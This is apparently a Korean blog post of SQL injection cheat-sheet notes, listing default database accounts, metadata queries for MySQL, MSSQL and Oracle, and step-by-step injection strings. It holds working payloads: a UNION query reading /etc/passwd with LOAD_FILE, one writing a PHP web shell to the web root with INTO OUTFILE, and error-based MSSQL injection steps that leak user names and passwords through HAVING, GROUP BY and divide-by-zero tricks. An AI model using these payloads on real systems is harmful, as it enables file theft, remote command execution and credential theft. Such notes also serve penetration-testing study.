* MYSQL = LOAD_FILE, INTO OUTFILE
- 1 UNION ALL SELECT LOAD_FILE('/etc/passwd') --
- 1 UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/cmd.php" --
* 기본 계정
1. MSSQL = sa
2. MySQL = root, anonymous
3. ORACLE = SYS, SYSTEM, DBSNMP, OUTLN
* Oracle의 경우 반드시 SYSTEM 권한으로 실행
- 보안을 생각해 권한이 없는 사용자로 구동할 수 없음
* 메타데이터 접근
1. Mysql : INFORMATION_SCHEMA
- SHOW DATABASES, SHOW TABLES 명령을 통해 접근 가능
예) SELECT table_schema, table_name FROM information_schema.tables; (접속한 사용자가 접근 가능한 모든 테이블과 데이터베이스 정보 획득)
2. MSSQL : INFORMATION_SCHEMA, 시스템 테이블(sysobjects, sysindexkeys, sysindexes, syscolumns, systypes 등)
예) SELECT name FROM sysobjects WHERE xtype='U'; (시스템 테이블을 이용해 접근 가능한 모든 테이블 정보 획득)
SELECT name FROM sys.tables; (카탈로그 view를 이용해 접근 가능한 모든 테이블 정보 획득)
3. ORACLE : view를 통해 ORACLE 메타데이터(ALL_TABLES, ALL_TAB_COLUMNS 등) 접근
예) SELECT OWNER, TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME; (접속한 사용자가 접근 가능한 모든 테이블에 대한 정보 획득)
* Error가 노출될 때
- 문자를 숫자로 변환하여 정보 획득 (ex) 1=0/@@version; --
- 구문 실행 결과를 표시 ex) having 1=1 (having 절을 했을 때 오류가 뜨는 것은 Mssql만 가능, 다른 DB들은 정상 실행(where 절처럼 작동) )
step 1) ?username=test' having '1'='1
step 2) ?username=test' GROUP BY User having '1'='1
step 3) ?username=test' GROUP BY User,Password having '1'='1 ← GROUP BY 는 HAVING 절보다 앞에 위치 (뒤에 위치할 경우 오류 발생)
step 4) ?username=test' and 1=0/User and '1'='1
step 5) ?username=test' and 1=0/Password and '1'='1
step 6) ?username=test' and User not in ('Admin') and 1=0/User and '1'='1
'Hacking > Web' 카테고리의 다른 글
SQL Injection With raw MD5 hash (0) | 2018.01.22 |
---|---|
SQL Injection_V2.0 (0) | 2018.01.17 |
파일 다운로드 취약점 시 찾아볼 것 (0) | 2017.12.04 |
SQL Injection 필터링 우회 (0) | 2017.11.13 |
파일업로드 확장자 우회 (0) | 2017.11.05 |